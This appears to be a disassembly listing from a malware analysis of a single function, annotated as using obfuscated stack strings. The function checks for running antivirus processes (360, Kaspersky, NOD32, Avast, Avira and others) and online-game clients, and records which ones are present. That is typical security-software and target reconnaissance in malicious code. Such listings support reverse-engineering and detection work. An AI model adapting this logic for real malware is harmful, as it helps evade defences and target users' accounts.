Function at 0x10010c30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
push ebx
push esi
mov al, 0x65
mov dl, 0x2e
mov cl, 0x78
xor ebx, ebx
push str.360tray.exe
mov byte [esp + 0xc], al
mov byte [esp + 0xd], 0x67
mov byte [esp + 0xe], 0x75
mov byte [esp + 0xf], 0x69
mov byte [esp + 0x10], dl
mov byte [esp + 0x11], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], al
mov byte [esp + 0x14], bl
mov byte [esp + 0x18], 0x4d
mov byte [esp + 0x19], 0x63
mov byte [esp + 0x1a], 0x73
mov byte [esp + 0x1b], 0x68
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], 0x6c
mov byte [esp + 0x1f], 0x64
mov byte [esp + 0x20], dl
mov byte [esp + 0x21], al
mov byte [esp + 0x22], cl
mov byte [esp + 0x23], al
mov byte [esp + 0x24], bl
call fcn.10012a30
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 4
test eax, eax
je 0x10010cd4
push 0x1001fe2c
push 0x100218a8
mov dword [str.360tray.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.avp.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010d03
push 0x1001fe1c
push 0x100218a8
mov dword [str.avp.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.KvMonXP.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010d32
push 0x1001fe08
push 0x100218a8
mov dword [str.KvMonXP.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.RavMonD.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010d61
push 0x1001fdf4
push 0x100218a8
mov dword [str.RavMonD.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.360sd.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010d90
push str.360
push 0x100218a8
mov dword [str.360sd.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
lea eax, [esp + 0x14]
push eax
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010dbd
push 0x1001fdd8
push 0x100218a8
mov dword [esp + 0x1c], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
lea ecx, [esp + 8]
push ecx
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010dea
push str.NOD32
push 0x100218a8
mov dword [esp + 0x10], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.kxetray.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010e19
push 0x1001fdbc
push 0x100218a8
mov dword [str.kxetray.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.knsdtray.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010e48
push 0x1001fda4
push 0x100218a8
mov dword [str.knsdtray.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.TMBMSRV.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010e77
push 0x1001fd90
push 0x100218a8
mov dword [str.TMBMSRV.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.avcenter.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010ea6
push str.avira
push 0x100218a8
mov dword [str.avcenter.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.ashDisp.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010ed5
push str.avast
push 0x100218a8
mov dword [str.ashDisp.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.avguard.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010f04
push str.avguard.exe
push 0x100218a8
mov dword [str.avguard.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.dp.exe
mov byte [str.1ow.exe], 0x77
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010f3a
push 0x1001fd3c
push 0x100218a8
mov dword [str.dp.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.mdm365.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010f69
push 0x1001fd24
push 0x100218a8
mov dword [str.mdm365.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.dnf.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010f98
push 0x1001fd0c
push 0x100218a8
mov dword [str.dnf.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.xy2.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010fc7
push 0x1001fcf8
push 0x100218a8
mov dword [str.xy2.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.xy3.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10010ff6
push 0x1001fce4
push 0x100218a8
mov dword [str.xy3.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.QQhxgame.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10011025
push 0x1001fccc
push 0x100218a8
mov dword [str.QQhxgame.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.1ow.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10011054
push 0x1001fcc0
push 0x100218a8
mov dword [str.1ow.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.tw2.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x10011083
push 0x1001fcb0
push 0x100218a8
mov dword [str.tw2.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.my.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x100110b2
push 0x1001fc9c
push 0x100218a8
mov dword [str.my.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push str.DragonNest.exe
call fcn.10012a30
add esp, 4
test eax, eax
je 0x100110e1
push 0x1001fc84
push 0x100218a8
mov dword [str.DragonNest.exe], ebx
call esi
push 0x1001f4fc
push 0x100218a8
call esi
push 0x1001f4fc
push 0x100218a8
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x10011104
push 0x1001fc7c
push 0x100218a8
call esi
pop esi
mov eax, 0x100218a8
pop ebx
add esp, 0x1c
ret